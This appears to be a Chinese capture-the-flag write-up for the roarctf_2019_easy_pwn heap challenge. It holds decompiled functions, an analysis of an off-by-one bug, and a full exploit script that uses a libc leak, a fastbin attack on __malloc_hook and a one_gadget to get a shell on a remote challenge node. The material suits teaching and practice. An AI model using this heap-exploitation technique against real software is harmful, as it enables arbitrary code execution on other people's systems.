常規檢查

逆向分析
Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice:
create 函數
*(&unk_202040 + 4 * i) = 1;
*(&unk_202044 + 4 * i) = v4;
qword_202048[2 * i] = v5;
- *(&unk_202040 + 4 * i):置 1 記錄 chunk 已創建
- *(&unk_202044 + 4 * i):存放 chunk 的大小
- qword_202048[2 * i]:存儲 chnk 的地址
write 函數
v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);
printf("content: ");
v2 = sub_D92(qword_202048[2 * v3], v4);
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}
- sub_E26(*(&unk_202044 + 4 * v3), v2):存在 off-by-one 漏洞
- sub_D92(qword_202048[2 * v3], v4):將 v4 字節大小的內容寫入 qword_202048[2 * v3] 對應的塊地址。
drop 函數
*(&unk_202040 + 4 * v0) = 0;
*(&unk_202044 + 4 * v0) = 0;
free(qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
- 將記錄 chunk 創建的 1 置 0 。
- 將記錄 chunk 的大小置 0。
- free 掉對應的 chunk 。
- 將存儲的 chunk 指針置 0。
show 函數
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
- 打印 qword_202048[2 * SHIDWORD(v2)] 對應塊的 *(&unk_202044 + 4 * SHIDWORD(v2) 個字節的內容。
利用思路
- off by one 泄露 main_arena 地址,從而計算 其他 libc 函數地址
- 遷移 top chunk 防止其與 uaf 的 fastbin 合並
- fastbin attack 任意寫
- 利用 realloc_hook 達成 one_gadget 條件
exp 腳本
from pwn_debug import *
pdbg = pwn_debug('./roarctf_2019_easy_pwn')
pdbg.local()
pdbg.remote('node3.buuoj.cn',25308)
io = pdbg.run('remote')
libc = pdbg.libc
def add(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
def edit(index,size,data):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(data)
def free(index):
io.recvuntil('choice: ')
io.sendline('3')
io.recvuntil('index:')
io.sendline(str(index))
def show(index):
io.recvuntil('choice: ')
io.sendline('4')
io.recvuntil('index:')
io.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3
add(0x28)#4
add(0x28)#5
add(0x68)#6
edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))#設置 chunk 2 的大小為 small bin
free(2)
show(1) #泄露 main_arena 的地址
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a
#gdb.attach(io)
edit(4,50,'a'*0x28+p8(0xa1))
free(5) #遷移 top chunk ,防止 free chunk 6 的時候 chunk 與 top chunk 合並
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #fastbin attack 任意地址寫
add(0x68)#5
add(0x68)#6
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16)) #利用 ralloc_hook 改變棧環境達成 one_gadget 的條件
#gdb.attach(io)
add(0x10)
io.interactive()
內容來源
【pwn】roarctf_2019_easy_pwn